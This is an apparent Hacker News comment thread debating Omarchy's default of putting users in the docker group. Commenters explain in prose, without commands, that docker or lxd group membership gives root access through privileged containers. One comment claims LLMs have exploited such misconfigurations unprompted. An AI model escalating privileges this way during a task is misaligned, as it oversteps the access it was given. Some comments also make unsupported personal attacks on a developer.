Ubuntu has the exact same vulnerability, except with lxd instead of docker, but for some reason, it's considered working as intended.<p>On a fresh install of Ubuntu Server, the first user created is part of the lxd group, can install lxd without root thanks to snap, and can immediately create a privileged container with the host's root filesystem mounted inside.
I was expecting a more sophisticated attack and then I scrolled down…<p>> Omarchy configured its default user as a member of the Linux docker group.<p>What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.<p><a href="https://docs.docker.com/engine/install/linux-postinstall/" rel="nofollow">https://docs.docker.com/engine/install/linux-postinstall/</a><p>Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro??? Makes you wonder how much other crap is there.
> Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro???<p>Isn't that the entire selling point of Omarchy?
Default configuration or not, I also imagine the first thing people using docker do is to add themselves to the docker group via sudo.<p>If you are security-conscious, you shouldn’t be using docker anyway.
If you are adding yourself to the docker group, you have presumably read the documentation and its warnings. Does an Omarchy user know the distro has made the decision on their behave?<p>TFA spells out why this is wrong better than I could.<p>> There is another important aspect of this configuration. It was opt-out, not opt-in. A user did not have to actually use Docker. The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.<p>> Security-sensitive defaults matter precisely because many users reasonably assume that the operating system defaults to secure and will inform or prompt them to opt-in to less secure settings.
I am not disagreeing at all. Nor am I trying to claim this behavior is safe.<p>I’m just pointing out the level-set that I’m sure the first time someone installs docker and tries to use it, chances are they are just going to install themselves in the docker group without considering the impact and continue on their day.
I have passwordless sudo anyway. XKCD knows why the password is pointless.
I didn't know that was unsafe.<p>Well, it's not unsafe because anyone who can exploit it has already fully compromised my PC. It rather involved being on the other side of this airtight hatchway. But I didn't know that putting an actually locked down account in the docker group was unsafe.
> Why would you want to make this the default for your users<p>Because DHH doesn't have a clue what he's doing and is farming his brain out to Claude. Again.
Because it's convenient, and the security of this doesn't matter for desktop usage.
What on earth is an Omarchy
Surprised by this. I only ever use podman (which by default, runs rootless) these days and haven’t felt the need for docker. Feels like reading about a CVE in Compiz.
Is it not better to run a VM just for Docker, like we have to do on macOS?
That has all sorts of issues like eating disk space and RAM, because neither can't be released to the host once allocated, but then become unused.
I just want to put this out there, smolmachines is a wonderful program to solve this, I use this mostly for stuff needing docker socket / docker in docker (example strix and agents). (I'm using podman on my host)
At that point why not just simplify things and go back to Vagrant...?
Damn, I did not know you need a VM for Docker on macOS. That's kind of ironic, isn't it XD<p>Every day I wake up and thank the universe for MS making WSL2
WSL2 is also a virtual machine.
WSL2 is also a VM. docker relies on the linux kernel apis, so it must be ran inside a linux VM on macos or windows
I’d rather run real Linux in a VM than a buggy appropriation of it in WSL
Isn’t WSL2 vm based?
This is the type of security and vulnerability testing that actually matters. In a sea of security researcher noise, thank you for contributing in a meaningful way.
Lol. This misconfiguration is so common and so trivial that LLMs have been known to exploit it unprompted, to complete their task.
Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.
Nobody said you can't complaint about things unless you're forced to use them!
I don't care what he's doing, I care about what he is.
He's a person, just like you are. Let him know then, he has an email and you can message him publicly on X.
> <i>He's a person, just like you are.</i><p>He's not like me. I've never posted racist hate filled rants to the internet.
He clearly "suffers" from narcissistic personality disorder, trying to change him is a waste of time. Even if he was a normal person, I see no rational reason for him to change his behavior given how successful he is.
What he is or what random blog posts present him as?
[dead]
I've already stated this on the last Omarchy thread, the way DHH is implementing it is highly irresponsible and insecure. Half of his "distro" are essentially shell scripts where it's extremely easy to create accidental security holes. Considering that probably half of his code would need something like setuid/execute bits set in order to avoid configuration spaghetti, I'd imagine that there are _hundreds_ of vulnerabilities in there. If you think about it logically, just the desktop environment (note that I have no idea if he coded his own or is using an existing one) needs access to input the graphics driver the netstack all of which require priviledges of some kind.
"Opinionated" software sounds great until you find out the author has the stupidest opinions you've ever heard in your life.
I mean, I saw this on twitter, and thought ok maybe its a nice exploit. But really? its the usual docker root thing?<p>I wouldn't even consider that a vulnerability tbh, every personal laptop I had I add myself to docker group. Yes, you can not namespace pids, filesystem, etc, and get root, but it's never mattered.<p>If someone can run that docker command, they can already read your whole homedir, edit bashrc, etc etc,. and sudo is useless anyways.<p>Only on a system where you are a user without sudo access, does it even begin to make sense. And if you go to the trouble of intentionally setting up a user without sudo access, you wouldn't be adding that user to the docker group either. In the default install, I assume omarchy adds you to the sudoers as well, making this a perfectly ok thing to do<p>Even if you participate in the esteemed Red Hat Security Theater and use wayland, flatpaks, etc, most flatpaks can write anywhere in your home dir, so they can do this too.<p>On standard linux desktop, sudo is not really security, but it is a UX improvement as it adds friction to accidentally doing things to the "system".<p>[I don't use omarchy]
That is what happens when someone without a clue what is he (khm, DHH) doing vibe codes a distro.
10M for a some shell scripts what a steal lmao
Other day i was hearing DHH talk on Lex's podcast on Omarchy and how he does not look at the code anymore. The guy built solid reputation with his prev contributions but now falling to AI slop.
[dead]
[flagged]